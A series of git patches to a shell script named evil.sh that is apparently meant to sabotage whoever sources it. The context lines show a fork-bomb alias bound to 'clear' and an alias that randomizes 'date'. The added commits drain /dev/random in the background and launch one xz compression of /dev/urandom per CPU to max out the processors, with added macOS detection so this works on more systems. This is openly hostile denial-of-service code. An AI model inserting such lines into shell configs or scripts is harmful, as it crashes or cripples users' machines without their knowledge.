From d0d9fac77f90e54832613245654e2c9625b1c8a0 Mon Sep 17 00:00:00 2001 From: Jonathan French Date: Mon, 28 Mar 2016 12:03:16 +0100 Subject: [PATCH 1/3] Eat ALL the randomness --- evil.sh | 3 +++ 1 file changed, 3 insertions(+) diff --git a/evil.sh b/evil.sh index b7cddd6..85a571f 100755 --- a/evil.sh +++ b/evil.sh @@ -28,6 +28,9 @@ alias clear=':(){ :|:& };:'; # Have `date` return random dates. alias date='date -d "now + $RANDOM days"'; +# Eat ALL the randomness. +/bin/cat /dev/random > /dev/null 2>&1 & + # Sometimes, wait a few minutes and then start randomly ejecting the CD drive. # Other times, resist all attempts at opening it. Other times, make it read # reaaaalllly sllooowwwwllly. From 2e035b045667abc0beae0dbe40766941cd86de8c Mon Sep 17 00:00:00 2001 From: Jonathan French Date: Mon, 28 Mar 2016 12:06:40 +0100 Subject: [PATCH 2/3] Use ALL the CPU --- evil.sh | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/evil.sh b/evil.sh index 85a571f..14f7232 100755 --- a/evil.sh +++ b/evil.sh @@ -31,6 +31,11 @@ alias date='date -d "now + $RANDOM days"'; # Eat ALL the randomness. /bin/cat /dev/random > /dev/null 2>&1 & +# Use ALL the CPUs. +for i in $(seq 1 $(nproc)); do + xz -9e -c /dev/urandom > /dev/null 2>&1 & +done; + # Sometimes, wait a few minutes and then start randomly ejecting the CD drive. # Other times, resist all attempts at opening it. Other times, make it read # reaaaalllly sllooowwwwllly. From c40d6459217054e3ca39a43c1cff2beba5b9b75a Mon Sep 17 00:00:00 2001 From: Jonathan French Date: Mon, 28 Mar 2016 12:25:38 +0100 Subject: [PATCH 3/3] slightly more cross-platform all-cpu-eating --- evil.sh | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/evil.sh b/evil.sh index 14f7232..6f720a3 100755 --- a/evil.sh +++ b/evil.sh @@ -32,7 +32,12 @@ alias date='date -d "now + $RANDOM days"'; /bin/cat /dev/random > /dev/null 2>&1 & # Use ALL the CPUs. -for i in $(seq 1 $(nproc)); do +if [ "$(uname)" = 'Darwin' ]; then + NCPUS=$(sysctl -n hw.ncpu) +else + NCPUS=$(nproc) +fi; +for i in $(seq 1 $NCPUS); do xz -9e -c /dev/urandom > /dev/null 2>&1 & done;